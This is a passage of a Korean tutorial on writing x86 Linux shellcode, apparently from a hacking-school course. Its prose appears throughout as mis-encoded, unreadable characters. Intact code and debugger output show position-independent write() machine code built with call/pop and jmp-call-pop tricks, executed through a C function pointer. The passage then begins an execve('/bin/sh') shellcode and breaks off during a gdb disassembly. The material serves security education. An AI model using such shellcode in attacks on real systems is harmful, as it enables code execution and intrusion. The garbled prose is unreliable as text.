±â°è¾î°¡ º¯È¯µÇ¾î ¿À¸¥ÂÊ¿¡ ¾î¼Àºí¸®¾î·Î Ãâ·ÂµÈ °ÍÀÌ´Ù. ±×¸®°í, ¿ø·¡ ±â°è¾î´Â 2Áø¼ö·Î Ç¥ÇöµÇÁö¸¸, 2Áø¼ö·Î Ãâ·ÂÇÏ¸é ±æÀ̵µ ±æ¾îÁö°í, ¿ì¸®°¡ ¾Ë¾Æº¸±âµµ Èûµé±â ¶§¹®¿¡ ÃÖ´ëÇÑ º¸±â ½±°Ô 16Áø¼ö ÇüÅ·ΠÃâ·ÂµÇ¾ú´Ù. ÀÌÁ¦ ÀÌ 16Áø¼ö¸¦ ÂÞ¿í Çϳª·Î ÀÌ¾î ºÙÀÌ¸é ºñ·Î¼Ò ±â°è¾î°¡ ¿Ï¼ºµÈ´Ù. ÇÏÁö¸¸, À§ Äڵ带 ÀÚ¼¼È÷ º¸°í ÀÖÀÚ¸é, ÀÌ»óÇÑ ºÎºÐÀÌ Çϳª ÀÖ´Ù. ±×°ÍÀº ¹Ù·Î µÎ ¹ø° ÀÎÀÚ¿¡ ÇØ´çÇÏ´Â "¹®ÀÚ¿­ÀÇ ½ÃÀÛ ÁÖ¼Ò"°¡ Á¤ÀÛ ±× ¹®ÀÚ¿­Àº ¾îµð¿¡µµ º¸ÀÌÁö ¾Ê°í, ´Þ¶û ÁÖ¼Ò °ª¸¸ »ç¿ëµÇ°í ÀÖ´Â °ÍÀÌ´Ù. mov $0x80483d0,%ecx ÀÌ´Â, ÄÄÆÄÀ쵃 ¶§ ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò °ªÀÌ ÁöÁ¤µÇ°í, ½ÇÁ¦ ¸í·É ºÎºÐ¿¡¼­´Â ±× ¹Ì¸® Á¤ÇØÁø ÁÖ¼Ò. ´Ù½Ã ¸»Çؼ­ Àý´ë ÁÖ¼Ò¸¦ °¡Á®¿Í »ç¿ëÇÏ°í ÀÖ´Â °ÍÀÌ´Ù. µû¶ó¼­ ÀÌ »óÅ·Π±â°è¾î Äڵ带 ¸¸µé¸é, ½ÇÁ¦ ½ÇÇà ÇÒ ¶§¿¡µµ À§ 0x80483d0 ¿¡¼­ ¹®ÀÚ¿­ °ªÀ» °¡Á®¿À·Á°í ÇÒ °ÍÀÌ°í, ´ç¿¬È÷ ±× ȯ°æ¿¡¼­´Â "Hello..." ¶ó´Â ¹®ÀÚ¿­ÀÌ ±× ÁÖ¼Ò ºÎºÐ¿¡ Á¸ÀçÇÒ °¡´É¼ºÀÌ ZERO¿¡ °¡±õ±â ¶§¹®¿¡ ÀÌ ÁÖ¼Ò °ªÀ» »ç¿ëÇÏ´Â °ÍÀº ÀüÇô ¹«ÀǹÌÇÑ ÁþÀÌ´Ù. ±×·³ ¾î¶² ¹æ¹ýÀ¸·Î "Hello..." ¹®ÀÚ¿­ÀÌ À§ ±â°è¾î Äڵ忡 Æ÷ÇԵǰí, ¶Ç ±× ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò¸¦ %ecx ·¹Áö½ºÅÍ¿¡ ÀúÀåÇϵµ·Ï ¸¸µé ¼ö ÀÖÀ»±î? ±× ¹æ¹ýÀ» ¼³¸íÇÏ¸é ´ÙÀ½°ú °°´Ù. ÀÏ´Ü ¹®ÀÚ¿­ÀÇ ½ÃÀÛ ÁÖ¼Ò°¡ ½ºÅÿ¡ ÀúÀåµÇµµ·Ï ÇÏ°í, ±× ´ÙÀ½ ½ºÅÿ¡¼­ ±× ÁÖ¼Ò °ªÀ» ²¨³» %ecx ·¹Áö½ºÅÍ¿¡ ÀúÀåÇÏ¸é µÇ´Â °ÍÀÌ´Ù. ÀÌ °úÁ¤À» ´ÙÀ½°ú °°ÀÌ ¾î¼Àºí¸®¾î·Î Ç¥ÇöÇØ º¸°Ú´Ù. ================================= .globl main main: call func .string "Hello, Students!\n" func: movl $0x04, %eax movl $0x01, %ebx popl %ecx movl $0x11, %edx int $0x80 movl $0x01, %eax movl $0x00, %ebx int $0x80 ================================= call ¸í·É¿¡ ÀÇÇØ ¾î¶² ÇÔ¼ö°¡ È£ÃâµÇ¸é, ÇÔ¼ö Á¾·á ÈÄ ½ÇÇàµÉ ¸®ÅÏ ¾îµå·¹½º. Áï, call ¸í·É ¹Ù·Î ´ÙÀ½ ¸í·ÉÀÇ ÁÖ¼Ò°¡ ½ºÅÿ¡ ÀúÀåµÈ´Ù. µû¶ó¼­ À§ÀÇ °æ¿ì¿£ call func ¹Ù·Î ´ÙÀ½¿¡ ÀÖ´Â "Hello..." ¹®ÀÚ¿­ÀÇ ½ÃÀÛ ÁÖ¼Ò°¡ ½ºÅÿ¡ ÀúÀåÀÌ µÈ´Ù. ÀÌÁ¦ func ÇÔ¼ö ¾È¿¡¼± %eax¿¡ write() ½Ã½ºÅÛ ÄÝÀÓÀ» ÀǹÌÇÏ´Â 4°¡ ÀúÀå µÇ°í, %ebx¿¡´Â Ç¥ÁØ Ãâ·ÂÀ» ÀǹÌÇÏ´Â 1, ±×¸®°í ¹Ù·Î %ecxÀÇ °ªÀ» ÁöÁ¤ÇØ ÁÖ´Â ´Ü°è¿¡¼­ popl ¸í·ÉÀ¸·Î ½ºÅÿ¡ ÀúÀåµÈ °ªµé Áß °¡Àå ²À´ë±â¿¡ ÀÖ´Â °ªÀ» »©¿Í ÀúÀåÇÑ´Ù. ÀÌ ¶§ ½ºÅÃÀÇ °¡Àå ²À´ë±â¿¡´Â ¾Õ¼­ ÀúÀåµÈ ¸®ÅÏ ¾îµå·¹½º. Áï, "Hello..." ¹®ÀÚ¿­ÀÇ ½ÃÀÛ ÁÖ¼Ò°¡ ÀúÀåµÇ¾î ÀÖÀ½À¸·Î °á±¹ ¹®ÀÚ¿­ÀÇ ½ÃÀÛ ÁÖ¼Ò°¡ %ecx ·¹Áö½ºÅÍ¿¡ ÀúÀåµÈ °ÍÀÌ´Ù. ÀÌÁ¦ À§ ¾î¼Àºí¸®¾î Äڵ带 ÄÄÆÄÀÏ ÇÑ ´ÙÀ½, objdump·Î ±× ³»¿ëÀ» È®ÀÎÇØ º¸µµ·Ï ÇÏÀÚ. ============================================================== [root@hackerschool assem]# objdump -d write ... »ý·« ... 080483d0
: 80483d0: e8 12 00 00 00 call 80483e7 80483d5: 48 dec %eax 80483d6: 65 gs 80483d7: 6c insb (%dx),%es:(%edi) 80483d8: 6c insb (%dx),%es:(%edi) 80483d9: 6f outsl %ds:(%esi),(%dx) 80483da: 2c 20 sub $0x20,%al 80483dc: 53 push %ebx 80483dd: 74 75 je 8048454 80483df: 64 65 6e outsb %fs:%gs:(%esi),(%dx) 80483e2: 74 73 je 8048457 80483e4: 21 0a and %ecx,(%edx) ... 080483e7 : 80483e7: 59 pop %ecx 80483e8: b8 04 00 00 00 mov $0x4,%eax 80483ed: bb 01 00 00 00 mov $0x1,%ebx 80483f2: ba 11 00 00 00 mov $0x11,%edx 80483f7: cd 80 int $0x80 80483f9: b8 01 00 00 00 mov $0x1,%eax 80483fe: bb 00 00 00 00 mov $0x0,%ebx 8048403: cd 80 int $0x80 8048405: 8d 76 00 lea 0x0(%esi),%esi ... »ý·« ... ============================================================== ÀÌÁ¦ ¶Ç ¾îµð À߸øµÈ Á¡ÀÌ ¾ø´ÂÁö À¯½ÉÈ÷ »ìÆ캸ÀÚ. ¾î, ±Ùµ¥ "Hello..." ¹®ÀÚ¿­ÀÌ ¶Ç º¸ÀÌÁö ¾Ê´Â´Ù. ÀÌ ¹®ÀÚ¿­Àº ¾îµð¿¡ ÀÖ´Â °ÍÀϱî? À§¿¡¼­ ¼¼ ¹ø° ¶óÀÎÀ» º¸¸é, 48 65 6c ... ·Î ½ÃÀ۵Ǵ 16Áø¼ö·Î Ç¥ÇöµÈ ±â°è¾î Äڵ尡 ÀÖ´Ù. ±×°ÍÀÌ ¹Ù·Î ¾Æ½ºÅ° ¹®ÀÚ¿­·Î Ç¥ÇöÇϸé "Hello..."°¡ µÇ´Â °ÍÀÌ´Ù. ±×¸®°í ±× ¿À¸¥ ÂÊÀÇ Á¤Ã¼ ºÒ¸íÀÇ ¾î¼Àºí¸®¾î ¸í·ÉµéÀº "Hello.." ¹®ÀÚ¿­À» ¾ïÁö·Î ¾î¼Àºí¸®¾î ¹®¹ýÀ¸·Î º¯È¯ÇÏ¿© Ãâ·ÂÇÏ·Á°í ÇÏ´Ù º¸´Ï ÀÌó·³ ÇÁ·Î±×·¥°ú ÀüÇô °ü·Ã ¾ø´Â ¾î¼Àºí¸®¾î ¸í·ÉÀÌ Ç¥ÇöµÈ °ÍÀÌ´Ù. ÀÚ, ÀÌÁ¦ À§ ±â°è¾î¸¦ ÂÞ¿í ÇÑ ÁÙ·Î Àձ⸸ Çϸé ÁøÁ¤ ¿ì¸®°¡ ¿øÇÏ´Â °ÍÀÌ ¸¸µé¾î Áø´Ù. Á¶±Ý Èûµé°ÚÁö¸¸, À§ 16 Áø¼ö ±â°è¾î¸¦ ¸ðµÎ ¼Õ¼ö ÀÌ¾î ³ª°£´Ù. e8 12 00 00 00 48 65 6c 6c 6f 2c 20 53 74 75 64 65 6e 74 73 21 0a (H e l l o , S t u d e n t s ! \n) 59 b8 04 00 00 00 bb 01 00 00 00 ba 11 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 cd 80 8d 76 00 ÀÌ·¸°Ô ¿Ï¼ºµÈ À§ ¼¼ ÁÙÀÌ ¹Ù·Î write(1, "Hello, Students!\n", 17);À» ÀǹÌÇÏ´Â ±â°è¾î ÄÚµåÀÌ´Ù. ÀÌÁ¦ C¾ð¾î·Î °£´ÜÇÑ Å×½ºÆ® ÇÁ·Î±×·¥À» ¸¸µé¾î¼­ À§ ±â°è¾î°¡ ´Ù¸¥ ÇÁ·Î±×·¥ ³»¿¡¼­µµ Á¤»óÀûÀ¸·Î ÀÛµ¿ÇÒ ¼ö ÀÖ´ÂÁö¸¦ È®ÀÎÇØ º¸ÀÚ. ÀÏ´Ü, C¾ð¾î¿¡¼­ À§ ±â°è¾î¸¦ »ç¿ëÇÒ ¼ö ÀÖµµ·Ï À§ Äڵ尡 16Áø¼ö·Î ±¸¼ºµÈ °ÍÀÓÀ» ¾Ë·ÁÁÖÀÚ. ´ÙÀ½°ú °°ÀÌ °¢ 16Áø¼ö ¾ÕÂÊ¿¡ \x¸¦ Ãß°¡ÇÏ¸é µÉ °ÍÀÌ´Ù. \xe8\x12\x00\x00\x00\x48 65 6c 6c 6f 2c 20 53 74 75 64 65 6e 74 73 21 0a ¾î, ±Ùµ¥ ¹®ÀÚ ºÎºÐÀº ±»ÀÌ 16Áø¼ö·Î ¹Ù²ÙÁö ¾Ê¾Æµµ µÈ´Ù. ¿Ö³Ä¸é ¾Õ¿¡ \x¸¦ ºÙÀÌÁö ¾ÊÀ¸¸é ÄÄÆÄÀÏ·¯´Â ±×°ÍÀ» ¾Æ½ºÅ° ¹®ÀÚ·Î ¾Ë¾Æ¼­ Àß Çؼ®Çϱ⠶§¹®ÀÌ´Ù. µû¶ó¼­ ¹®ÀÚ¿­ ºÎºÐÀº 16Áø¼ö°¡ ¾Æ´Ñ ¿ì¸®°¡ º¸±â ½¬¿î ¾Æ½ºÅ° ¹®ÀÚ·Î ¹Ù²ã³õÀÚ. \xe8\x12\x00\x00\x00Hello, Students!\n ÈξÀ º¸±â ÁÁ¾ÆÁ³´Ù. Âü°í·Î, objdump ¸í·ÉÀ¸·Î ±â°è¾î¸¦ º¸¾ÒÀ» ¶§´Â À§ ¹®ÀÚ¿­ ¸¶Áö¸· \n µÚ·Î ¾Æ¹«°Íµµ ¾øÁö¸¸, ½ÇÁ¦·Î \n µÚ¿¡´Â ¹®ÀÚ¿­ÀÇ ³¡À» ¾Ë¸®´Â \00ÀÌ Á¸ÀçÇÑ´Ù. objdump ¸í·ÉÀ¸·Î º¼ ¶§´Â ÀÌ ºÎºÐÀÌ "..." À¸·Î »ý·«µÇ¾î ³ªÅ¸³ª´Ï ÁÖÀÇÇØ¾ß ÇÑ´Ù. ÀÌÁ¦ \x00°ú ´õºÒ¾î ¸¶Áö¸· ±â°è¾îµéÀ» ¸¶Àú ÀÕµµ·Ï ÇÏÀÚ. \xe8\x12\x00\x00\x00Hello, Students!\n\x00 \x59\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xba\x11\x00\x00\x00\xcd\x80\xb8 \x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\x8d\x76\x00 µåµð¾î ¿Ï¼ºµÇ¾ú´Ù. ÀÌÁ¦ ´ÙÀ½°ú °°Àº ¹æ¹ýÀ¸·Î ÇÁ·Î±×·¥ ³»¿¡¼­ À§ Äڵ尡 Á¤»óÀûÀ¸·Î ½ÇÇàµÇ´Â Áö¸¦ È®ÀÎÇØ º¸ÀÚ. =========================================================================== int main() { char *code = "\xe8\x12\x00\x00\x00Hello, Students!\n\x00" "\x59\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xba\x11\x00" "\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00" "\xcd\x80\x8d\x76\x00"; void (*pointer)(void); // ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ÀúÀåÇÏ´Â ÇÔ¼ö Æ÷ÀÎÅ͸¦ ¼±¾ðÇß´Ù. pointer = (void *)code; // ÇÔ¼öÀÇ ÁÖ¼Ò ´ë½Å ±â°è¾î ÄÚµåÀÇ ½ÃÀÛ ÁÖ¼Ò¸¦ // ´ëÀÔÇؼ­ ¸¶Ä¡ ÇÔ¼öÀÎ µí ÀνÄÇϵµ·Ï ÇÑ´Ù. pointer(); // ÀÌÁ¦ ÀÌ ÇÔ¼ö Æ÷ÀÎÅ͸¦ È£ÃâÇϸé, ±â°è¾î°¡ ½ÇÇàµÉ °ÍÀÌ´Ù. } =========================================================================== ÀÌÁ¦ ÄÄÆÄÀÏ ÇÏ¿© ½ÇÇà °á°ú¸¦ º¸¸é.. =================================== [root@hackerschool assem]# ./write Hello, Students! [root@hackerschool assem]# =================================== ÀÌó·³ Áö±Ý±îÁö ¸¸µç ±â°è¾î Äڵ尡 ¿Ïº®ÇÏ°Ô ÀÛµ¿ÇÑ´Ù. ±×·³ ÀÌÁ¦ ¸¶Áö¸·À¸·Î ±â°è¾î Äڵ带 ¸¸µå´Âµ¥ À¯¿ëÇÑ ÆÁ Çϳª¸¦ ¹è¿ì°í ¸¶Ä¡µµ·Ï ÇÏ°Ú´Ù. ¸¸¾à, À§ Hello, Students! ¹®ÀÚ¿­À» ´Ù¸¥ °ÍÀ¸·Î ¸¶À½´ë·Î ¹Ù²Ù°í ½Í´Ù¸é ¾î¶»°Ô ÇØ¾ß ÇÒ±î? ±×³É À§ÀÇ ¹®ÀÚ¿­¸¸ ´Ù¸¥ °ÍÀ¸·Î ¼öÁ¤ÇÏ¸é µÉ±î? ÀÏ´Ü, ¹®ÀÚ¿­ ¹Ù·Î ¾ÕÂÊÀÇ ±â°è¾î¸¦ º¸ÀÚ. \xe8 \x12 \x00 \x00 \x00 ¿©±â¼­ °¡Àå ¾ÕÀÇ \xe8Àº callÀ» ÀǹÌÇÑ´Ù. ±×¸®°í ±× ´ÙÀ½ÀÇ \x12´Â 10Áø¼ö·Î 18À̸ç, ÀÌ´Â °ð 18 ¹ÙÀÌÆ® µÚ ¶³¾îÁø °÷À¸·Î call ÇÑ´Ù´Â ÀǹÌÀÌ´Ù. µû¶ó¼­ Á¤È®È÷ 18 ¹ÙÀÌÆ® ¶³¾îÁø ºÎºÐ¿¡ ¹®ÀÚ¿­ ´ÙÀ½¿¡ ÇØ´çÇÏ´Â "\x59\xb8..."ÀÌ ÀÖ´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù. ÀÌ´Â Áï, ¹®ÀÚ¿­ÀÇ ±æÀÌ°¡ ¹Ù²î¸é call µÇ´Â À§Ä¡ ¶ÇÇÑ ¹Ù²î¾î ¹ö¸°´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù. °¡Àå ´Ü¼øÇÑ ¹æ¹ýÀº ¹Ù²ï ¹®ÀÚ¿­ ±æÀÌ¿¡ ÇØ´çÇÏ´Â °ªÀ» \xe8 \x12 ºÎºÐ¿¡ ¾Ë¸Â°Ô Àû¿ë½ÃÅ°´Â °ÍÀÌ´Ù. ÇÏÁö¸¸, ´ÙÀ½°ú °°Àº ¹æ¹ýÀ» »ç¿ë Çϸé ÈξÀ ±ò²ûÇÏ°Ô ¿øÇÏ´Â ¹®ÀÚ¿­·Î ¹Ù²ã »ç¿ëÇÒ ¼ö ÀÖ°Ô µÈ´Ù. ¿©±â¿¡¼± ´Ü¼øÈ÷ ¹®ÀÚ¿­À» ¹Ù²Ù´Â °Í¿¡ ºÒ°úÇÏÁö¸¸, ÀÌ°ÍÀ» ½©À» ½ÇÇà½ÃÅ°´Â ±â°è¾î Äڵ忡 Àû¿ë½ÃÅ°¸é, /bin/sh ¿ÜÀÇ ¿øÇÏ´Â ¸í·ÉµéÀ» ¸¶À½´ë·Î ½ÇÇà½Ãų ¼ö ÀÖ°Ô µÉ °ÍÀÌ´Ù. ¾Õ¼­ ¸¶Áö¸·À¸·Î ÀÛ¼ºÇß´ø ¾î¼Àºí¸®¾î Äڵ带 ´ÙÀ½°ú °°ÀÌ ¼öÁ¤ÇÑ´Ù. ==================================== .globl main main: jmp come_here func: movl $0x04, %eax movl $0x01, %ebx popl %ecx movl $0x11, %edx int $0x80 movl $0x01, %eax movl $0x00, %ebx int $0x80 come_here: call func .string "Hello, Students!\n" ==================================== ÀÌó·³ Á¶±Ý ¾ïÁö¸¦ ºÎ·Á ¹®ÀÚ¿­ ºÎºÐÀÌ ÄÚµåÀÇ °¡Àå µÞ ÂÊÀ¸·Î ¿À°Ô ¸¸µé¾ú´Ù. ÀÌÁ¦ °°Àº ¹æ¹ýÀ» »ç¿ëÇÏ¿© À§ ¾î¼Àºí¸®¾î¸¦ ±â°è¾î·Î º¯È¯ÇÏ¸é ´ÙÀ½°ú °°ÀÌ µÈ´Ù. eb 1e b8 04 00 00 00 bb 01 00 00 00 59 ba 11 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 cd 80 e8 dd ff ff ff ~~~~~~~~~~~~~~ call ºÎºÐ 48 65 6c 6c 6f 2c 20 53 74 75 64 65 6e 74 73 21 0a 00 H e l l o , S t u d e n t s ! \n \00 ÀÌó·³ À̹ø¿¡´Â call ¸í·É µÚÂÊÀ¸·Î dd ff ff ff Áï, 0xffffffdd°¡ ¿ÀÆÛ·£µå (¾î¼Àºí¸®¾î¿¡¼­ÀÇ ÀÎÀÚ °ª)°¡ µÇ¾ú´Ù. ÀÌ 0xffffffdd´Â ¹«¾ùÀ» ÀǹÌÇÒ±î? À̸¦ int Çü 10Áø¼ö·Î º¯È¯ÇØ º¸¸é, -35. Áï, À½¼ö °ªÀÌ µÈ´Ù. µû¶ó¼­ À̹ø¿¡´Â ¹Ý´ë·Î call ¸í·É ºÎºÐÀÇ ¾Õ ÂÊÀ¸·Î -35 ¹ÙÀÌÆ® À̵¿ÇÏ¿© eb 1e b8 ... ¸í·ÉÀ» ½ÇÇàÇÏ´Â °ÍÀÌ´Ù. ÀÌ·¸°Ô Çϸé, ±× µÞÂÊÀÇ "Hello.." ¹®ÀÚ¿­ÀÌ ¾î¶»°Ô ¹Ù²î´øÁö call¿¡ ÀÇÇØ À̵¿ÇÏ´Â À§Ä¡´Â Àý´ë·Î º¯ÇÏÁö ¾Ê´Â´Ù. µû¶ó¼­ ÀÌÁ¦´Â À§ ¹®ÀÚ¿­À» ¸¶À½³õ°í ´Ù¸¥ °ÍÀ¸·Î ¹Ù²Ü ¼ö ÀÖ°Ô µÇ¾ú´Ù. (write() ÇÔ¼öÀÇ ¸¶Áö¸· ÀÎÀÚÀÎ ¹®ÀÚ¿­ÀÇ ±æÀÌ¿¡ ÇØ´çÇÏ´Â ±â°è¾î ¶ÇÇÑ ¹Ù²Ù¾î Áà¾ßÇϸç, ½©ÄÚµåÀÇ °æ¿ì¿£ "/bin/sh" ¹®ÀÚ¿­ ³¡¿¡ NULLÀ» Ãß°¡Çϱâ À§Çؼ­ ¸í·É¾îÀÇ ±æÀ̸¦ ¹Ù²Ù¾î Áà¾ßÇÏ´Â ¹ø°Å·Î¿òÀÌ ³²¾ÆÀÖ±ä ÇÏ´Ù.) ±×·³ À̹ø¿¡´Â ¾Õ¼­ ¹è¿î ³»¿ëµéÀ» È°¿ëÇÏ¿© ½©À» ½ÇÇàÇÏ´Â ±â°è¾î ÄÚµå. Áï, ½©Äڵ带 ÇÑ ¹ø ¸¸µé¾î º¸µµ·Ï ÇÏÀÚ. Áö±Ý±îÁö ¹è¿î ¹Ù¿Í °°ÀÌ, ¸ÕÀú C¾ð¾î·Î ½©À» ½ÇÇàÇÏ´Â ÇÔ¼ö¸¦ ¸¸µé°í, ±× ´ÙÀ½Àº ±×°ÍÀ» gdb·Î ºÐ¼®ÇÏ¿© ÃÖ´ëÇÑ °£´ÜÇÏ°Ô ¾î¼Àºí¸®¾î·Î Ç¥ÇöÇÑ ´ÙÀ½ objdump¸¦ ÀÌ¿ëÇؼ­ ±â°è¾î¸¦ Ãâ·ÂÇÑ ´ÙÀ½, ¸¶Áö¸·À¸·Î ±×°ÍµéÀ» ¹Þ¾Æ Àû´Â ¼ø¼­´ë·Î ½©Äڵ带 ¸¸µé¾î ³ª°¡°Ô°Ú´Ù. - ±â°è¾î ÄÚµå ¸¸µé±â ¼ø¼­ 1. C¾ð¾î·Î ÇØ´ç Äڵ带 ±¸ÇöÇÑ´Ù. 2. gdb·Î ¿ª¾î¼Àºí¸µÇÏ¿© ÇÊ¿äÇÑ ºÎºÐÀ» ã´Â´Ù. 3. ¾ËÂ¥¹è±â¸¸ »Ì¾Æ ¾î¼Àºí¸®¾î·Î »õ·Î ±¸ÇöÇÑ´Ù. 4. ÄÄÆÄÀÏÇÑ ÈÄ, objdump·Î ±â°è¾î¸¦ Ãâ·ÂÇÑ´Ù. 5. Ãâ·ÂµÈ ±â°è¾îµéÀ» Çϳª·Î ¿¬°á ½ÃŲ´Ù. ÀÌÁ¦ À§ ¼ø¼­¿¡ µû¶ó ½©À» ½ÇÇàÇÏ´Â ¿ªÇÒÀ» ÇÏ´Â C Äڵ带 »ý¼ºÇØ º¸ÀÚ. ¿©±â¼­ ¿ì¸®´Â °ú¿¬ ¾î¶² ÇÔ¼ö¸¦ »ç¿ëÇØ¾ß °¡Àå °£´ÜÇÑ ¾î¼Àºí¸®¾î Äڵ尡 ³ª¿ÃÁö¸¦ °í¹ÎÇØ ºÁ¾ß ÇÑ´Ù. system("/bin/sh");À» »ç¿ëÇÒ±î? ¾Æ´Ï¸é, execl("/bin/sh", "sh", 0);À» »ç¿ëÇÒ±î? ¿©·¯ ¹æ¹ýÀÌ ÀÖÀ» ¼ö ÀÖ°ÚÁö¸¸, Àû¾îµµ ¹æ±Ý ¾ð±ÞÇÑ µÎ ÇÔ¼ö¸¦ »ç¿ëÇÏ´Â °ÍÀº Àý´ë ÃßõÇÏÁö ¾Ê´Â´Ù. ¿Ö³ÄÇϸé printf() ÇÔ¼ö°¡ °á±¹ ³»ºÎÀûÀ¸·Î write() ÇÔ¼ö¸¦ »ç¿ëÇß´ø °Í ó·³, À§ µÎ ÇÔ¼ö ¿ª½Ã ³»ºÎÀûÀ¸·Î´Â °á±¹ execve() ÇÔ¼ö¸¦ »ç¿ëÇϱ⠶§¹®ÀÌ´Ù. µû¶ó¼­, execve() ÇÔ¼ö°¡ È®ÀåµÈ system()À̳ª execl() ÇÔ¼ö¸¦ ±â°è¾î·Î ¸¸µå´Â ÀÏÀº ±¦È÷ ¹«°Å¿î Áüµé¸¸ ´õ ¾ñÈ÷´Â °á°ú ¹Û¿¡ ¾òÀ» ¼ö ¾ø´Ù. ½ÇÁ¦ À§ ÇÔ¼öµéÀÌ ³»ºÎÀûÀ¸·Î ¾î¶² ÇÔ¼öµéÀ» »ç¿ëÇÏ´ÂÁö ½±°Ô È®ÀÎÇÏ·Á¸é, /usr/bin/strace ¸í·ÉÀ» »ç¿ëÇÏ¸é µÈ´Ù. strace´Â system call traceÀÇ ¾àÀÚ·Î, ÇØ´ç ÇÁ·Î±×·¥ÀÌ »ç¿ëÇÏ´Â ½Ã½ºÅÛÄÝ ¸ñ·ÏÀ» È­¸é¿¡ ½Ç½Ã°£À¸·Î Ãâ·ÂÇØÁÖ´Â ±â´ÉÀ» °¡Áö°í ÀÖ´Ù. ========================== int main() { system("/bin/sh"); } ========================== °£´ÜÇÏ°Ô ÀÌ Äڵ带 test¶ó´Â À̸§À¸·Î ÄÄÆÄÀÏ ÇÑ ÈÄ, strace test¸¦ ÀÔ·ÂÇϸé, "execve("/usr/bin/test", ["test"], [/* 22 vars */])" ºÎºÐÀÌ Áö³­°¡´Â °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ´Ù. »ç½Ç °ÅÀÇ ¸ðµç ½© »óÀÇ ÇÁ·Î±×·¥µéÀÌ °á±¹¿¡´Â Ä¿³Î¿¡¼­ Á¦°ø ÇÏ´Â ½Ã½ºÅÛ ÄݵéÀ» »ç¿ëÇÑ´Ù. ¿¹¸¦µé¾î ¿ì¸®°¡ °¡Àå ¸¹ÀÌ »ç¿ëÇÏ´Â ls ¸í·É ¶ÇÇÑ ³»ºÎÀûÀ¸·Î´Â open(), close(), read(), write() µîÀÇ ½Ã½ºÅÛ ÄÝÀ» »ç¿ëÇÑ ´Ù´Â »ç½ÇÀ» strace ¸í·ÉÀ¸·Î È®ÀÎÇØ º¼ ¼ö ÀÖ´Ù. ±×·³ ÀÌÁ¦ ´äÀº ³ª¿Ô´Ù. °¡Àå °£´ÜÇÑ ±â°è¾î¸¦ ¸¸µé±â À§ÇØ ÇÊ¿äÇÑ C¾ð¾î ÄÚµå´Â ¹Ù·Î execve() ÇÔ¼ö¸¦ »ç¿ëÇÑ ´ÙÀ½°ú °°Àº ¸ð½ÀÀÌ´Ù. ================================= int main() { char *str[2]; str[0] = "/bin/sh"; str[1] = 0; execve(str[0], str, 0); } ================================= ÀÌÁ¦ ÀÌ Äڵ带 ÄÄÆÄÀÏÇÑ ÈÄ, gdb·Î ³»¿ëÀ» ºÐ¼®ÇØ º¸ÀÚ. ============================================================================= [root@hackerschool assem]# gcc -o execve execve.c -static [root@hackerschool assem]# gdb execve GNU gdb Red Hat Linux (5.1.90CVS-5) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) ============================================================================= ´ÙÀ½Àº main ÇÔ¼öÀÇ ³»¿ëÀ» disassembleÇÑ ³»¿ëÀÌ´Ù. ========================================================= (gdb) disass main Dump of assembler code for function main: 0x80481e0
: push %ebp 0x80481e1 : mov %esp,%ebp 0x80481e3 : sub $0x8,%esp 0x80481e6 : movl $0x808cec8,0xfffffff8(%ebp) 0x80481ed : movl $0x0,0xfffffffc(%ebp) 0x80481f4 : sub $0x4,%esp 0x80481f7 : push $0x0 0x80481f9 : lea 0xfffffff8(%ebp),%eax 0x80481fc : push %eax 0x80481fd : pushl 0xfffffff8(%ebp) 0x8048200 : call 0x804cb40 0x8048205 : add $0x10,%esp 0x8048208 : leave 0x8048209 : ret 0x804820a : mov %esi,%esi End of assembler dump. (gdb) ========================================================= main() ÇÔ¼ö°¡ È£ÃâµÇ¸é, ±âÁ¸ÀÇ base point °ªÀ» ½ºÅÿ¡ Àӽà ÀúÀåÇÏ°í, ±× ´ÙÀ½ »õ·Î¿î base point °ªÀ» ¼³Á¤ÇÑ´Ù. ÀÌ ºÎºÐ¿¡ ´ëÇؼ­´Â "ÇÁ·¹ÀÓ Æ÷ÀÎÅÍ ¿À¹öÇÁ·Î¿ì" °­Á¿¡¼­ ÀÚ¼¼È÷ ¼³¸íÇÑ´Ù. ±× ´ÙÀ½¿£ º¯¼ö¸¦ À§ÇÑ °ø°£À» sub ¸í·ÉÀ» ÀÌ¿ëÇÏ¿© ÇÒ´çÇϴµ¥, À§¿¡¼­´Â 8¹ÙÀÌÆ®¸¦ ÇÒ´ç ¹Þ¾Ò´Ù. ±× ÀÌÀ¯´Â Æ÷ÀÎÅÍ 1°³ÀÇ ¿ë·®ÀÌ 4 ¹ÙÀÌÆ®Àε¥, char *str[2] ¿Í °°ÀÌ 2°³¸¦ ¼±¾ðÇ߱⠶§¹®ÀÌ´Ù. ÀÌÁ¦, str[0]¿¡ "/bin/sh" ¹®ÀÚ¿­ÀÌ ´ã±ä ¸Þ¸ð¸® ÁÖ¼Ò¸¦ ´ëÀÔÇÏ°í, str[1]¿¡´Â NULLÀ» ÀǹÌÇÏ´Â 0À» ´ëÀÔÇß´Ù. ¿©±â±îÁöÀÇ °úÁ¤À» ÁÖ¼®À» ´Þ¾Æ ¼³¸íÇÏ¸é ´ÙÀ½°ú °°´Ù. ========================================================= (gdb) disass main Dump of assembler code for function main: 0x80481e0
